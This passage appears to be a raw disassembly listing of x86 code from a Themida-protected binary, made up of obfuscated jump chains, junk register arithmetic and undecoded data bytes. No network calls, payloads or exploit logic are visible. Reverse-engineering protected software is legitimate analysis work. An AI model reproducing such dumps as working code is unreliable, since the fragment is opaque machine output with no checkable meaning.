ebp, 4 add ebp, 4 jmp loc_559B35 ; --------------------------------------------------------------------------- db 83h dd 0B8E904ECh, 520000F5h, 944CE6BAh, 5773E945h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55677E: ; CODE XREF: Themida_:00556D90j push 22F12BADh mov ebx, [esp] add esp, 4 sub ebp, ebx pop ebx jmp loc_5549E4 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C4815Ah, 0E9000000h, 5083h, 5C241487h, 5C24048Fh, 9C240429h dd 0FFA1FEE9h db 0FFh ; --------------------------------------------------------------------------- loc_5567B1: ; CODE XREF: Themida_:0055BF49j mov ebp, esp jmp loc_55121E ; --------------------------------------------------------------------------- dd 0E9241C89h, 6ACFh ; --------------------------------------------------------------------------- loc_5567C0: ; CODE XREF: Themida_:0055A06Aj push 4916h mov [esp], ecx jmp loc_551DC8 ; --------------------------------------------------------------------------- db 68h, 75h, 0Fh dd 14890000h, 176C6824h, 14890000h, 89F2E924h, 0F3810000h dd 1C79B7BAh, 806E9h, 54575A00h, 0B38EE9h, 0EFBA5200h dd 0F7014147h, 0F2814AD2h, 6D502625h, 0FFF5B3E9h, 76E952FFh dd 83000018h, 0C58004C4h, 18C0E94Dh, 875B0000h, 95C2414h dd 0C8B1C4Fh, 4C48324h, 599A68h, 1FA8E900h, 0C3810000h dd 4, 4EB81h, 1C870000h, 5E41E924h, 0B7530000h, 2EFC034h dd 8002E7C0h, 0B652C8CFh, 0D7F680CBh, 103AE9h db 0 ; --------------------------------------------------------------------------- loc_55685D: ; CODE XREF: Themida_:0055D619j push ebp jmp loc_553BFC ; --------------------------------------------------------------------------- loc_556863: ; CODE XREF: Themida_:00564AD1j sub ebx, 54A012A6h pop ebp shr ebx, 1 or ebx, 31F027A8h jmp loc_56176B ; --------------------------------------------------------------------------- loc_556877: ; CODE XREF: Themida_:0055E569j mov edi, 1 push eax jmp loc_558F97 ; --------------------------------------------------------------------------- dw 0EAC1h dd 48E95502h db 19h, 2 dup(0) byte_55688B db 56h ; DATA XREF: Themida_:005508D4o dd 0FC424BBEh, 68D6875Bh, 6776h, 0F7241489h, 875A2414h dd 0F61CE9D6h, 0C481FFFFh, 4, 554BE9h, 14895C00h, 0A36824h dd 1C890000h, 8FB95124h, 0E92D444Ch, 0FFFFB815h, 5486D2F6h dd 0CAE90124h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5568D3: ; CODE XREF: Themida_:0055DBEBj sub eax, ebp sub eax, 4B3300DCh push esi mov esi, 7B9623F8h shl esi, 7 add esi, 6C1D64B2h add eax, esi mov esi, [esp] push esi jmp loc_558244 ; --------------------------------------------------------------------------- aAfosK db '─Д▌Имk',0 align 4 dd 4C481h, 0EBE90000h, 35000091h, 0BF45A68h, 586B892Dh dd 1B354810h, 0E92A2B5Ah, 0C518h ; --------------------------------------------------------------------------- loc_55691C: ; CODE XREF: Themida_:0055F3AEj xchg ch, [esp+1] not ch xchg ch, [esp+1] pop cx push edx mov dh, 5Eh push ebx mov bl, 1Dh add bl, 4Eh jmp loc_55FD35 ; --------------------------------------------------------------------------- loc_556936: ; CODE XREF: Themida_:0056415Fj mov edx, [esp] jmp loc_551E53 ; --------------------------------------------------------------------------- dw 3C87h dd 24248B24h, 24048B66h, 476A68h, 5C75E900h, 0C4830000h dd 24048704h, 0E924248Bh, 25CEh, 48E9C231h, 89FFFFA0h dd 0EDBA2414h, 815A7F24h, 0A33BBBCAh, 0CA58E930h, 0D3F60000h dd 5CE9C3FEh db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556983: ; CODE XREF: Themida_:00552DE2j xor edi, 0AF631ABh add edi, 0EABC996Ch and ecx, edi push dword ptr [esp] mov edi, [esp] jmp loc_559ED3 ; --------------------------------------------------------------------------- dword_55699C dd 592434FFh, 4A7F68h, 240C8900h, 0FFD91EE9h, 4C483FFh ; DATA XREF: Themida_:005508C4o dd 2459E942h, 248B0000h, 9FF1E924h, 0C788FFFFh, 0FFF46FE9h dd 0CE015CFFh, 0A224E9h db 0 ; --------------------------------------------------------------------------- loc_5569CD: ; CODE XREF: Themida_:00556F32j pop ebx neg al push edx mov dl, 0E2h add dl, 88h xor al, dl jmp loc_5516DB ; --------------------------------------------------------------------------- db 0F7h, 0D8h, 0Dh dd 7F7A1BF7h, 0E0603435h, 0BFB7E925h, 8158FFFFh, 4C4h dd 8A87E900h, 74FF0000h, 9E90424h, 890000C4h, 0BC0559CDh dd 0E96DF41Fh, 9266h, 0C95849BEh, 5BDE2964h, 5EE9F301h db 49h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556A1F: ; CODE XREF: Themida_:00556476j xchg ecx, [esp] jmp loc_55BA56 ; --------------------------------------------------------------------------- loc_556A27: ; CODE XREF: Themida_:0055346Fj sub esp, 4 mov [esp], eax mov eax, 47AA74D9h xor eax, 52F9541Ch sub esp, 4 mov [esp], esi sub esp, 4 mov [esp], eax mov eax, 0FFFFFFFFh mov esi, eax jmp loc_562FBD ; --------------------------------------------------------------------------- dw 0C283h dd 24148704h, 0C124248Bh, 6E6805E6h, 0E900002Ch, 0EA9Eh dd 2C8BEA01h, 4A5AE924h, 0A9680000h, 8900001Ch, 6BE9243Ch dd 81FFFFC7h, 0CCC870F6h, 0ABB1E90Ch, 4BFFFFFh, 29000000h dd 0C875FF9h, 53E95C24h db 20h, 2 dup(0) byte_556A9B db 0FFh ; DATA XREF: Themida_:00550728o a4Sw db '4$Иwм',0 db 0 ; --------------------------------------------------------------------------- loc_556AA3: ; CODE XREF: Themida_:0055AFEBj mov dx, 194Dh shr dx, 2 jmp loc_561A1C ; --------------------------------------------------------------------------- dd 4EC81h, 14890000h, 2414F724h, 0E4E9555Ah, 810000E0h dd 2EBh, 241C8700h, 6624248Bh, 0E9240489h, 0FFFF9ED7h ; --------------------------------------------------------------------------- loc_556AD8: ; CODE XREF: Themida_:0055E856j sub esi, eax add esi, 631B044Bh pop eax pop edx push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] and [esp], ax pushf jmp loc_5509AF ; --------------------------------------------------------------------------- loc_556AF8: ; CODE XREF: Themida_:00553530j add dword ptr [esp+4], 132C1CF8h push edi jmp loc_55257C ; --------------------------------------------------------------------------- aWs_n db 'WИ_█',0 align 4 dd 1CAFBA52h, 0BE5679DDh, 35ED200Ah, 2849EE81h, 0D6F744DBh dd 3101E9h, 8BC10100h, 4BE92404h, 5800003Ah, 5C24048Fh dd 0E9243C33h, 0E10Ah ; --------------------------------------------------------------------------- loc_556B3C: ; CODE XREF: Themida_:0055446Dj pop esi pop dword ptr [esp] xchg ebp, esi push ebp not dword ptr [esp] pop ebp xchg ebp, esi push 412Dh mov [esp], esi push dword ptr [esp+4] push dword ptr [esp] mov esi, [esp] add esp, 4 jmp loc_55FFDE ; --------------------------------------------------------------------------- dw 2B2h aSla db '(вИl═',0 dw 8B00h dd 0C483243Ch, 4EC8104h, 89000000h, 56BE2434h, 564A0C4Eh dd 5E2414F7h, 24348756h, 3487D6F7h, 24348B24h, 0E904C483h dd 57DCh, 4C181h, 6EE90000h, 81FFFFF8h, 4C5h, 0EEB95100h dd 817DB53Bh, 0B53BECE9h, 59CD017Dh, 0E9242C87h, 91B1h ; --------------------------------------------------------------------------- loc_556BC4: ; CODE XREF: Themida_:00550FECj pop esi jmp loc_55D3B8 ; --------------------------------------------------------------------------- dw 0C381h dd 5A99185Fh, 0D87BE9h db 0 ; --------------------------------------------------------------------------- loc_556BD5: ; CODE XREF: Themida_:0055DEB9j mov eax, 51A358FEh and ebp, eax pop eax add ebp, 1 push ecx push 331857C3h jmp loc_553BDC ; --------------------------------------------------------------------------- aRsul db 'RИ⌠L',0 align 4 a5q_bsU db '5О°.║И*⌠',0 align 2 loc_556BFE: ; CODE XREF: Themida_:0055D997j add ebx, 4 xchg ebx, [esp] pop esp sub ebp, 9C01B473h sub [edi+24h], ebp push dword ptr [esp] pop ebp push edx jmp loc_5638C3 ; --------------------------------------------------------------------------- loc_556C1B: ; CODE XREF: Themida_:0055EE2Ej sub eax, 2A72F783h jmp loc_555672 ; --------------------------------------------------------------------------- db 81h, 0CDh, 55h dd 4D26C756h, 0E94DD5F7h, 0FFFFCC2Bh ; --------------------------------------------------------------------------- loc_556C34: ; CODE XREF: Themida_:00558B92j mov [esp], edi mov edi, 4AB053F1h not edi add edi, 1 xor edi, 166024Bh xor edi, 0B429AE40h push ebp mov ebp, 2C104874h sub [esp+8], ebp pop ebp add [esp+4], edi add dword ptr [esp+4], 2C104874h mov edi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] pop ecx jmp loc_55E5B5 ; --------------------------------------------------------------------------- db 68h, 3Dh, 60h dd 14890000h, 0FFFFBA24h, 0C381FFFFh, 70761F06h, 0EB81D329h dd 70761F06h, 8324148Bh, 16804C4h, 89000024h, 0F3B82404h dd 56104E6Ah, 4B3EBEh, 5EF03150h, 5D81BD55h, 0E8090B82h dd 57D8F75Dh, 9C7AC4BFh, 6EFC123h, 47E9D7F7h, 4A000010h dd 0D2F7DAF7h, 1D10E9h, 7FED8100h, 81793A33h, 0ED14B3EDh dd 81CD0163h, 0ED14B3C5h, 7FC58163h, 8B793A33h, 8957240Ch dd 4C781E7h, 52000000h, 0BC78D2BAh, 0A9E1E977h, 24890000h dd 24048324h, 0EC815804h, 4, 0BF243C89h, 634A5543h, 3E0EEF81h dd 0F78119FBh, 13F74B18h, 0E906EFC1h, 0A616h ; --------------------------------------------------------------------------- loc_556D3C: ; CODE XREF: Themida_:00564587j pop ecx add edi, eax pop eax sub ebx, 4A760A72h jmp loc_554FF2 ; --------------------------------------------------------------------------- loc_556D4B: ; CODE XREF: Themida_:005591F7j xor edi, 386C0C24h dec edi shl edi, 7 not edi jmp loc_55E535 ; --------------------------------------------------------------------------- dd 6093E981h, 0C7815AACh, 371E0DDCh, 20E9CF01h db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_556D6F: ; CODE XREF: Themida_:00554900j add ebp, 4 push edi mov edi, 4 add ebp, edi pop edi xchg ebp, [esp] pop esp push 39D3h mov [esp], esi mov esi, 4 push ebx jmp loc_55677E ; --------------------------------------------------------------------------- db 54h, 8Fh, 4 dd 24048324h, 52515804h, 4BAh, 5AD18900h, 0F7E9C801h, 81FFFFF3h dd 4ECh, 241C8900h, 0CC243481h, 5D1A790Eh, 0ECCF581h, 0E95B1A79h dd 2FDAh ; --------------------------------------------------------------------------- loc_556DCC: ; CODE XREF: Themida_:00551F9Bj mov [esp], esi push 21CE5403h mov esi, [esp] jmp loc_561C54 ; --------------------------------------------------------------------------- dd 4B9515Eh, 1000000h, 0EC8359C8h, 24048904h, 0BE565854h dd 4, 525EF001h, 8B74E9h, 24048100h, 4, 0E924348Bh, 91B2h dd 0C181E189h, 4, 3DBB5357h, 0E924DF0Ah, 86AFh ; --------------------------------------------------------------------------- loc_556E20: ; CODE XREF: Themida_:0055537Dj mov ebx, 866470Dh push ebp mov ebp, 67575F4Ch neg ebp inc ebp jmp loc_55A2E7 ; --------------------------------------------------------------------------- db 1 dd 242C8BE8h, 104C483h, 41DE2DD8h, 0FEE939E2h, 81000038h dd 2206FAEEh, 52DE012Ch, 2206FABAh, 8BD6012Ch, 0D1E92414h dd 81000047h, 5A1ADFC1h, 0D0E95F05h db 3Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_556E6B: ; CODE XREF: Themida_:0055F80Cj pop eax jmp loc_55384A ; --------------------------------------------------------------------------- byte_556E71 db 0E9h, 39h, 9Bh ; DATA XREF: Themida_:0055087Co db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556E76: ; CODE XREF: Themida_:0055A678j pop eax mov eax, ebp pop ebp jmp loc_55D99C ; --------------------------------------------------------------------------- db 1 dd 0B9515AD7h, 4, 34FFCF01h, 240C8B24h, 8304C483h, 48904ECh dd 5E08924h, 4, 0E904C083h, 18D5h, 5585450h, 4, 42Dh, 3A9CE900h dd 875A0000h, 248B241Ch, 4296624h, 0E4E99C24h, 0BFFFFF9Ah dd 40CC0FFCh, 815FF801h, 4ECh, 241C8900h, 0BC8BE955h, 8F540000h dd 4832404h, 348B0424h, 4C48124h, 81000000h, 4C6h, 0E0895000h dd 405h, 42D00h, 4870000h, 14895C24h, 0F0E95024h db 0ECh, 2 dup(0) ; --------------------------------------------------------------------------- loc_556F13: ; CODE XREF: Themida_:00563ECDj push dword ptr [esp] pop ebp add esp, 4 jmp loc_55B4EC ; --------------------------------------------------------------------------- dw 0E958h dd 0FFFFD852h ; --------------------------------------------------------------------------- loc_556F28: ; CODE XREF: Themida_:0055FB00j add esp, 4 mov al, 56h add al, bl jmp loc_5569CD ; --------------------------------------------------------------------------- db 31h dd 0C33240Ch, 24248B24h, 24048B66h, 8904EC83h, 0E189240Ch dd 4BA52h, 0C1810000h, 2B47434Ch, 56ABC181h, 0D10108B0h dd 56ABE981h, 0E98108B0h, 2B47434Ch, 9D07E9h, 0E7895700h dd 3A0FE9h db 0 ; --------------------------------------------------------------------------- loc_556F79: ; CODE XREF: Themida_:00561CE4j add dx, ax sub dx, 79B6h add dx, 3E72h pop eax xor dx, 125Fh push ecx mov cx, 4168h dec cx jmp loc_55E96E ; --------------------------------------------------------------------------- dd 9A11E95Ch, 0DA31FFFFh, 0E9D0015Bh, 6643h ; --------------------------------------------------------------------------- loc_556FA8: ; CODE XREF: Themida_:0055B818j mov ebx, edi mov edi, [esp] add esp, 4 xor ebx, 42C654DFh jmp loc_561D0C ; --------------------------------------------------------------------------- dw 0EF81h dd 10A000FDh, 0C0741E2Dh, 5F80138h, 38C0741Eh, 7ED2E9h dd 0E0895000h, 405h, 4E88300h, 31240433h, 4332404h, 4895C24h dd 5FE95524h, 89000067h, 0EE815BDEh, 7B8A6119h, 0C681FE29h dd 7B8A6119h, 0D0BFE9h db 0 ; --------------------------------------------------------------------------- loc_557009: ; CODE XREF: Themida_:0056466Aj add esp, 4 jmp loc_5509AF ; --------------------------------------------------------------------------- loc_557011: ; CODE XREF: Themida_:0055B06Fj pop ebp shr ebp, 7 sub ebp, 0FFFFFFFFh jmp loc_559041 ; --------------------------------------------------------------------------- loc_55701D: ; CODE XREF: Themida_:0055812Cj sub bl, 9Dh pop ax jmp loc_560B4A ; --------------------------------------------------------------------------- loc_557027: ; CODE XREF: Themida_:0055E090j pop esp sub esp, 4 mov [esp], edi push 3B6D68DFh jmp loc_5590FD ; --------------------------------------------------------------------------- loc_55703B: ; CODE XREF: Themida_:005620BBj push edx push 5230h mov [esp], esp jmp loc_551242 ; --------------------------------------------------------------------------- aWt_us db 'WT_UИю<',0 align 2 loc_557052: ; CODE XREF: Themida_:00563DDAj mov esi, 4 add ebp, esi pop esi sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push 3A784228h push dword ptr [esp] jmp loc_563C9F ; --------------------------------------------------------------------------- loc_557074: ; CODE XREF: Themida_:00561D1Bj push edx push eax mov eax, 3C6E2562h mov edx, 0E6704702h jmp loc_563083 ; --------------------------------------------------------------------------- db 81h, 0C7h, 9Eh dd 294C8878h, 0C321E9D7h, 1489FFFFh, 0EB224h, 2434FFD0h dd 4C4835Ah, 61FF68h, 241C8900h, 476FE950h, 685F0000h dd 67C5h, 0FF243489h, 5E042474h, 8B24048Fh, 0BE0F2424h dd 4EC83C8h, 67CBE9h, 348B6600h, 4EC8124h, 89000000h, 0E0892404h dd 0BB86E9h db 0 ; --------------------------------------------------------------------------- loc_5570E1: ; CODE XREF: Themida_:0055FD91j push edi mov edi, 66DB6E05h push 0 sub [esp], edi pop edi and edi, 245309A7h dec edi jmp loc_55E296 ; --------------------------------------------------------------------------- loc_5570FC: ; CODE XREF: Themida_:00562F5Bj push eax mov eax, 4 add ebp, eax pop eax jmp loc_553B08 ; --------------------------------------------------------------------------- dw 0F281h dd 1ECE4903h, 2D1AB850h, 254854D7h, 1599290Eh, 0E138E948h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557122: ; CODE XREF: Themida_:0055A16Fj push edx push 4043h jmp loc_55427C ; --------------------------------------------------------------------------- db 0C1h, 0E1h, 2 dd 6C42E9h, 4F0B6800h, 2FE94E87h db 0E7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55713F: ; CODE XREF: Themida_:0055304Aj mov [esp], cx movzx cx, al push cx pushf jmp loc_5509AF ; --------------------------------------------------------------------------- loc_55714F: ; CODE XREF: Themida_:005590F8j pop esp mov [esp], ecx mov ecx, 0D785647h inc ecx push ebp mov ebp, 132C3E0Ah or ecx, ebp pop ebp shr ecx, 3 jmp loc_55BC3E ; --------------------------------------------------------------------------- dw 0C681h dd 4, 4C681h, 34870000h, 4BE8E924h, 0ED810000h, 957AB923h dd 31E9EA89h, 4BFFFFC8h, 8108EBC1h, 6C33ABC3h, 5BDD897Ch dd 0E95D5955h, 36FEh, 0B8DDC381h, 2BE9C408h, 810000B0h dd 0B16DB7CBh, 0A6A9E902h, 0C1800000h, 0E9C9FE03h, 749Ch dd 4244C31h, 83240C8Bh, 0F3E904C4h, 89000091h, 4682434h dd 8B000000h, 0C4812434h, 4, 4B2AEB81h, 0F30175F2h, 4B2AC381h dd 348B75F2h, 0E9545024h, 2F54h dword_5571F8 dd 81D830ACh, 4ECh, 0EE31E900h, 0E689FFFFh, 4C681h, 0C6810000h ; DATA XREF: Themida_:005506DCo dd 4, 0E9243487h, 3FA8h, 0D7F75F5Dh, 5F5D5755h, 3E4BA52h dd 0E2C12211h, 49EA8108h, 15CD50Dh, 0E9015AD5h, 69B2E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55723E: ; CODE XREF: Themida_:00565958j xor ah, 0D8h dec ah jmp loc_551B32 ; --------------------------------------------------------------------------- dd 8F24248Bh, 248B2404h, 0E7895724h, 0AE22E9h, 81E38900h dd 4C3h, 4EB8300h, 5C241C87h, 68241C89h, 72A2h, 0E9240C89h dd 0FFFFCD80h, 0E908EDC1h, 0D2B6h, 53243C89h, 8B77C0BBh dd 0ED59BF5Eh, 0DF298842h, 0A7AFE9h db 0 ; --------------------------------------------------------------------------- loc_557295: ; CODE XREF: Themida_:0055B560j mov esi, [esp] jmp loc_55C759 ; --------------------------------------------------------------------------- db 66h, 0C1h, 0EAh dd 0EA816606h, 516627A0h, 0B966h, 66D12966h, 5966CA87h dd 99C28166h, 0E2C16656h, 22686602h, 1C89661Ch, 42BB6624h dd 0DA3166C2h, 5738E9h, 10B85000h, 2D0FBB23h, 9F32AB14h dd 5AAEE9h db 0 ; --------------------------------------------------------------------------- loc_5572E1: ; CODE XREF: Themida_:00562FDEj mov esi, 7FC51AB0h jmp loc_55FE04 ; --------------------------------------------------------------------------- loc_5572EB: ; CODE XREF: Themida_:005629B4j mov eax, 5A7176E5h xor eax, edi pop edi sub ecx, 1D91040Eh jmp loc_564A01 ; --------------------------------------------------------------------------- dw 0DF01h dd 5B2434FFh, 7C068h, 24348900h, 0FFA0BEE9h db 0FFh ; --------------------------------------------------------------------------- loc_557311: ; CODE XREF: Themida_:00564075j add esp, 4 sub esp, 4 mov [esp], edx mov edx, 37742AA8h add ecx, edx push dword ptr [esp] jmp loc_55F17F ; --------------------------------------------------------------------------- dd 7EBF575Ch, 2922E07Bh, 0BB5EE9FAh, 0C0580000h, 88E907EBh db 0B8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557343: ; CODE XREF: Themida_:00555207j push ebx push edx mov dh, 0DFh shl dh, 1 jmp loc_55889E ; --------------------------------------------------------------------------- dw 38B7h dd 4EC81h, 14890000h, 2CE95324h, 33FFFF9Dh, 34312434h dd 24343324h, 0A5A1E9h db 0 ; --------------------------------------------------------------------------- loc_55736D: ; CODE XREF: Themida_:00558365j push dword ptr [esp+4] pop ecx jmp loc_554329 ; --------------------------------------------------------------------------- byte_557377 db 66h ; DATA XREF: Themida_:005506FCo dd 5024048Bh, 54685854h, 8900003Ah, 4BE2434h, 1000000h dd 2434FFF0h, 0B5FCE9h, 0E9C22100h, 0BB9Ah ; --------------------------------------------------------------------------- loc_55739C: ; CODE XREF: Themida_:0055BFBFj mov [esp], esi push 917h mov [esp], esp add dword ptr [esp], 4 jmp loc_563366 ; --------------------------------------------------------------------------- loc_5573B3: ; CODE XREF: Themida_:0055C5E7j mov [esp], edi jmp loc_550B74 ; --------------------------------------------------------------------------- loc_5573BB: ; CODE XREF: Themida_:0055C268j mov edx, esp jmp loc_55299A ; --------------------------------------------------------------------------- loc_5573C2: ; CODE XREF: Themida_:0055FF33j push ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_565400 ; --------------------------------------------------------------------------- loc_5573D3: ; CODE XREF: Themida_:00559279j push dword ptr [esp] mov ebp, [esp] push edx mov edx, esp add edx, 4 push eax mov eax, 27745A6Bh push 6EFh mov [esp], ebp jmp loc_560894 ; --------------------------------------------------------------------------- db 0E9h, 0B5h, 95h dd 0EB81FFFFh, 652E2B48h, 0C381C301h, 652E2B48h, 5124048Bh dd 0DEF5E9h db 0 ; --------------------------------------------------------------------------- loc_557411: ; CODE XREF: Themida_:00555267j pop ebp shl ebx, 4 shr ebx, 8 add ebx, 0FF33FC53h push 526Ah jmp loc_5587B5 ; --------------------------------------------------------------------------- loc_557428: ; CODE XREF: Themida_:0055B3B5j shr eax, 3 dec eax push 0 sub [esp], eax pop eax shl eax, 1 jmp loc_555841 ; --------------------------------------------------------------------------- dd 623F73BFh, 2E94F23h db 72h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557447: ; CODE XREF: Themida_:00558DD8j xor edx, 0FF7C372Fh add ecx, edx mov edx, [esp] add esp, 4 add ecx, 2 xor ecx, [esp] jmp loc_5520CD ; --------------------------------------------------------------------------- dw 0F929h dd 59CD895Fh, 0D9E9E801h, 31FFFFD1h, 815E5EF1h, 5C23BCE1h dd 5BE18138h, 0E946782Bh, 20D3h, 875AD301h, 5E9241Ch, 68FFFFFBh dd 3B1Ch, 50243489h, 0F810B7B8h, 0E9D0F737h, 0DEA4h ; --------------------------------------------------------------------------- loc_5574A8: ; CODE XREF: Themida_:0055861Aj mov edx, [esp] add esp, 4 push edi mov edi, 217A2787h add edx, edi pop edi add edx, edi jmp loc_5518A3 ; --------------------------------------------------------------------------- dw 0E328h dd 8BFBC380h, 0C4832404h, 0E02AE904h, 0BF570000h, 4, 505FF801h dd 42474FFh, 24048F58h, 74FF525Ch, 4BE90424h, 50FFFFDFh dd 4B8h, 24440100h, 34FF5804h, 8B3E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5574FE: ; CODE XREF: Themida_:005633A3j add esi, 1A1E5EB9h push esi mov esi, esp push 3A7Bh mov [esp], ebp mov ebp, 468C2414h push edx jmp loc_554B2D ; --------------------------------------------------------------------------- loc_55751A: ; CODE XREF: Themida_:00553A28j add esp, 4 jmp loc_5509AF ; --------------------------------------------------------------------------- db 55h, 0BDh, 0F9h dd 0E9706839h, 0FFFFF6F5h ; --------------------------------------------------------------------------- loc_557530: ; CODE XREF: Themida_:005542F4j mov [esp], edx jmp loc_550B41 ; --------------------------------------------------------------------------- loc_557538: ; CODE XREF: Themida_:00554625j xor ecx, [esp] mov esp, [esp] dec dword ptr [esp] pushf jmp loc_5509AF ; --------------------------------------------------------------------------- loc_557547: ; CODE XREF: Themida_:00563757j pop esp push edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] pop esp push 3BEAh mov [esp], esi push 27CFh mov [esp], esp add dword ptr [esp], 4 pop esi push edx mov edx, 4 jmp loc_55339C ; --------------------------------------------------------------------------- db 0BAh dd 17E53E0Ch, 608EE281h, 89683421h, 89000003h, 0B8502434h dd 62E97850h, 3540D0F7h, 0AA078237h, 0B493E950h, 0E95B0000h dd 0A957h ; --------------------------------------------------------------------------- loc_5575A4: ; CODE XREF: Themida_:00554F67j add esi, 0FFFFFFFFh push eax push ebp push eax mov eax, 445134B3h jmp loc_55A676 ; --------------------------------------------------------------------------- db 68h dd 33A6h, 89240489h, 405E0h, 0E8830000h, 0E5FDE904h, 815B0000h dd 4C4h, 8BD93100h, 82E9241Ch db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5575DF: ; CODE XREF: Themida_:0055B8F2j mov [esp], ebx mov eax, [esp] push eax mov eax, esp jmp loc_554EA2 ; --------------------------------------------------------------------------- byte_5575ED db 0FFh, 34h, 24h ; DATA XREF: Themida_:00550858o dd 0DC31E9h db 0 ; --------------------------------------------------------------------------- loc_5575F5: ; CODE XREF: Themida_:005638C5j add edx, 4 add edx, 4 jmp loc_55A649 ; --------------------------------------------------------------------------- loc_557603: ; CODE XREF: Themida_:0055D5F7j mov esp, [esp] sub [esp], al pushf jmp loc_554769 ; --------------------------------------------------------------------------- loc_55760F: ; CODE XREF: Themida_:005599EBj add esp, 4 add esp, 4 add esp, 4 push 59F3h mov [esp], edi push esi mov esi, esp jmp loc_561A11 ; --------------------------------------------------------------------------- dd 240C895Ch, 0F6106468h, 4C295920h, 4EE90424h, 5EFFFFCDh dd 0FFEF58E9h db 0FFh ; --------------------------------------------------------------------------- loc_557641: ; CODE XREF: Themida_:005610C2j not ebp inc ebp shl ebp, 8 not ebp push esi mov esi, 0A3146DEh jmp loc_55968D ; --------------------------------------------------------------------------- dd 33243431h, 248B2434h, 24043024h, 9349E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557666: ; CODE XREF: Themida_:00554A4Aj push ebp mov ebp, 52D370B5h push ecx mov ecx, 0AD2C8F4Fh add ebp, ecx jmp loc_563ECA ; --------------------------------------------------------------------------- aXsG db 'XИ!ё',0 dw 0C100h dd 0E0C103E0h, 30F92D08h, 0F057D59h, 484C2E28h, 0FFF55FE9h dd 0BAE981FFh, 5F19C139h, 0FFBBC0E9h, 0C1FE5CFFh, 81E7C180h dd 4ECh, 24048900h, 83E9C888h, 0FF0000CCh, 0FF042474h dd 525A2434h, 9FA4E9h, 19E95300h, 33000073h, 34312434h dd 24343324h, 94C9E9h, 0E9525A00h, 0FFFFE0F9h, 0FF241489h dd 0FF042474h db 34h, 24h, 5Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop dword ptr [esp] mov esp, [esp] jmp loc_55B2E0 ; --------------------------------------------------------------------------- loc_557709: ; CODE XREF: Themida_:00551C53j mov edx, 1 sub esi, 3BBA4522h jmp loc_55CBDB ; --------------------------------------------------------------------------- db 81h, 0C3h, 87h dd 0E90C437Ch, 0B6Ch, 0EC805A66h, 1EF480FFh, 0F658E528h dd 8FB3E9D5h, 0C330000h, 0F7F9E924h, 348BFFFFh, 650AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557746: ; CODE XREF: Themida_:00553EA1j mov ebx, edi push 69C4h jmp loc_552ED5 ; --------------------------------------------------------------------------- loc_557752: ; CODE XREF: Themida_:00555A67j pop eax push dword ptr [esp] pop ebx add esp, 4 pop eax push dword ptr [esp] jmp loc_55B0B6 ; --------------------------------------------------------------------------- db 0D1h dd 3EAC1E2h, 0E01E281h, 5CE9242Dh db 6Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_557773: ; CODE XREF: Themida_:00554F85j push esi not dword ptr [esp] pop esi jmp loc_55DC60 ; --------------------------------------------------------------------------- loc_55777D: ; CODE XREF: Themida_:0055BC21j mov edi, 59ED116Ah jmp loc_5636B2 ; --------------------------------------------------------------------------- db 86h dd 86C0FEC2h, 51DAF6C2h, 0B3E9E8B5h db 0A4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557797: ; CODE XREF: Themida_:005600DCj pop ebp jmp loc_55A2AE ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 2C48324h, 0E973B450h, 165Bh ; --------------------------------------------------------------------------- loc_5577AC: ; CODE XREF: Themida_:0055385Aj pop ecx jmp loc_55D2B8 ; --------------------------------------------------------------------------- loc_5577B2: ; CODE XREF: Themida_:0055EE3Ej or edx, eax shl edx, 1 push 2BDFh mov [esp], edx push 24h jmp loc_5617FA ; --------------------------------------------------------------------------- loc_5577C8: ; CODE XREF: Themida_:0055C156j add ebx, 4 jmp loc_5585F4 ; --------------------------------------------------------------------------- db 1 dd 7CC281F2h, 5E03BC5Eh, 13F9C281h, 0EA8145E1h, 69A7D7E8h dd 607CBA52h, 0D02935F9h, 373B055Ah, 0D0015F5Eh, 5E373B2Dh dd 9844E95Fh, 0F7000000h, 8324148Bh, 0F83004C4h, 6853665Bh dd 6ED7h, 0B2241489h, 0E9DAF6B2h, 7896h, 4C381h, 0EB830000h dd 241C8704h, 242C895Ch, 4AA068h, 243C8900h, 5E08950h dd 4, 42Dh, 24048700h, 0FFFDDBE9h, 0B8EE80FFh, 0FFA67DE9h dd 638F68FFh, 815F069Dh, 0E204246Ch, 29567B1Bh, 8104247Ch dd 0E2042444h, 8B567B1Bh, 7768243Ch, 0E9000069h, 0FFFFD40Ch ; --------------------------------------------------------------------------- loc_55787C: ; CODE XREF: Themida_:005533A2j xchg esi, [esp] mov esp, [esp] push 55D2h jmp loc_553289 ; --------------------------------------------------------------------------- aQAUsq db 'Q╣а─мUИО',8,0 align 4 dd 5F63E9F7h, 0F7810000h, 20A23D00h, 45ACF781h, 0DFE9BEFEh dd 2D000020h, 2D27D46h, 2404335Eh, 33240431h, 2FE92404h db 0CFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5578C3: ; CODE XREF: Themida_:00552643j sub bl, ch pop ecx jmp loc_5579D3 ; --------------------------------------------------------------------------- loc_5578CB: ; CODE XREF: Themida_:0055EC66j xchg esi, [esp] pop esp push dword ptr [esp] pop eax add esp, 4 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_564896 ; 